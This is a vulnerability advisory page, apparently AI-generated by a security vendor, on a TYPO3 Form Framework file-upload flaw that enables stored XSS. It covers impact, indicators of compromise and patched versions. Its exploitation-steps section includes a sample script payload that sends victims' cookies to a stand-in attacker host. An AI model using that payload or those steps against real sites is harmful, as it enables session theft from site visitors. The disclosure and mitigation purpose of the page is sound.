Vulnerability DatabaseCVE-2026-125163

CVE-2026-125163: 
PHP vulnerability analysis and mitigation

Overview

CVE-2026-125163 is an unrestricted file upload vulnerability in the TYPO3 CMS Form Framework that can lead to Cross-Site Scripting (XSS). The flaw exists in the FileUpload and ImageUpload elements, where an empty allowedMimeTypes list is incorrectly treated as "no restriction," allowing unauthenticated users to upload browser-executable files (e.g., HTML, SVG) to publicly accessible storage. Affected versions span multiple TYPO3 branches: 10.0.0–10.4.62, 11.0.0–11.5.56, 12.0.0–12.4.51, 13.0.0–13.4.39, and 14.0.0–14.3.11. It was published on November 17, 2026, and carries a CVSS v4.0 base score of 6.3 (Medium) (Feedly, TYPO3 Advisory).

Technical details

The root cause is classified as CWE-434 (Unrestricted Upload of File with Dangerous Type). The allowedMimeTypes property in TYPO3's Form Framework is intended to act as an allowlist, but when the list is empty — either due to manual form definitions or all MIME types being deselected in the form editor — the framework applies no MIME type restriction. The only remaining protection is a file deny pattern that exclusively blocks PHP-related extensions, leaving HTML and SVG files uploadable. An unauthenticated attacker can submit a multipart form upload request with a browser-executable file; if the attacker can subsequently determine the URL of the uploaded file (a condition linked to TYPO3-CORE-SA-2026-029), they can deliver a stored XSS payload to victims visiting that URL on servers lacking the TYPO3-recommended Content-Security-Policy for the upload folder (Feedly, TYPO3 Advisory).

Impact

Successful exploitation allows unauthenticated attackers to upload malicious HTML or SVG files to a publicly accessible storage folder, which can be used to execute arbitrary JavaScript in the browsers of users who access the uploaded file's URL. The primary impact is a confidentiality risk (e.g., session token theft, credential harvesting) via stored XSS, with no direct integrity or availability impact on the server itself. The attack is constrained by the need to know the uploaded file's URL and the absence of a Content-Security-Policy on the upload target folder, limiting but not eliminating real-world risk (Feedly).

Exploitability

No public proof-of-concept exploit code or in-the-wild exploitation has been reported as of the disclosure date. The EPSS score is 0.0, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog. NVD's SSVC assessment classifies exploitation as "none" and notes the attack is not automatable, reflecting the requirement for an attacker to also know the URL of the uploaded file (a precondition tied to a separate advisory, TYPO3-CORE-SA-2026-029) (Feedly).

Exploitation steps

  1. Identify a vulnerable form: Locate a TYPO3 site running an affected version with a public-facing form that includes a FileUpload or ImageUpload element where allowedMimeTypes is empty (e.g., a manually created form definition or one with all MIME types deselected).
  2. Craft a malicious file: Prepare a browser-executable file such as an HTML document containing a JavaScript payload (e.g., <script>document.location='https://attacker.com/?c='+document.cookie</script>) or an SVG file with an embedded <script> tag.
  3. Upload the file: Submit the form with the malicious file attached. Because allowedMimeTypes is empty, the framework applies no MIME type restriction, and the file deny pattern does not block HTML or SVG extensions, so the upload succeeds.
  4. Determine the file URL: Use the technique described in TYPO3-CORE-SA-2026-029 to discover the URL of the uploaded file in the public storage folder.
  5. Deliver the XSS payload: Share or embed the URL of the uploaded file to target users. When a victim visits the URL on a server without the TYPO3-recommended Content-Security-Policy, the browser executes the embedded script, achieving XSS (Feedly, TYPO3 Advisory).

Indicators of compromise

  • Network: Multipart POST requests to TYPO3 form submission endpoints containing file uploads with .html or .svg extensions where MIME type restrictions are expected.
  • File System: Presence of .html or .svg files in the TYPO3 form upload target folder (typically within fileadmin/ or a configured public storage path) containing <script> tags or JavaScript event handlers.
  • Logs: Web server access logs showing GET requests to uploaded HTML/SVG files in the form upload directory from external IP addresses, particularly shortly after a POST upload request from a different IP.

Mitigation and workarounds

TYPO3 has released patched versions that treat an empty allowedMimeTypes list as "deny all" rather than "allow all": update to 10.4.63, 11.5.57, 12.4.52, 13.4.40, or 14.3.12 as appropriate for your branch. As an immediate workaround, administrators should ensure all FileUpload and ImageUpload form elements have at least one explicitly configured MIME type, and apply the Content-Security-Policy recommended by TYPO3 to the form upload target folder to prevent browser execution of uploaded files. Reviewing and restricting public access to the upload storage folder is also advisable (TYPO3 Advisory, Feedly).

Community reactions

Coverage has been limited to automated vulnerability tracking platforms and aggregators shortly after disclosure. SecurityOnline.info published a brief note referencing related TYPO3 vulnerabilities disclosed at the same time. No notable independent researcher commentary or significant social media discussion has been identified (Feedly).

Additional resources


Source: This report was generated using AI

Related PHP vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-hx92-2qxg-m977HIGH7.8
  • PHP logoPHP
  • ray/aop
NoYesNov 21, 2026
GHSA-p5q8-69rj-ff33HIGH7.8
  • PHP logoPHP
  • ray/di
NoYesNov 21, 2026
GHSA-vpqj-26g5-4qqmHIGH7.4
  • PHP logoPHP
  • simplesamlphp/saml2
NoNoNov 22, 2026
GHSA-2g6w-c7gx-fxj8MEDIUM5.4
  • PHP logoPHP
  • guzzlehttp/guzzle
NoYesNov 21, 2026
GHSA-m9j4-54gj-jvf8MEDIUM5.3
  • PHP logoPHP
  • league/csv
NoYesNov 22, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management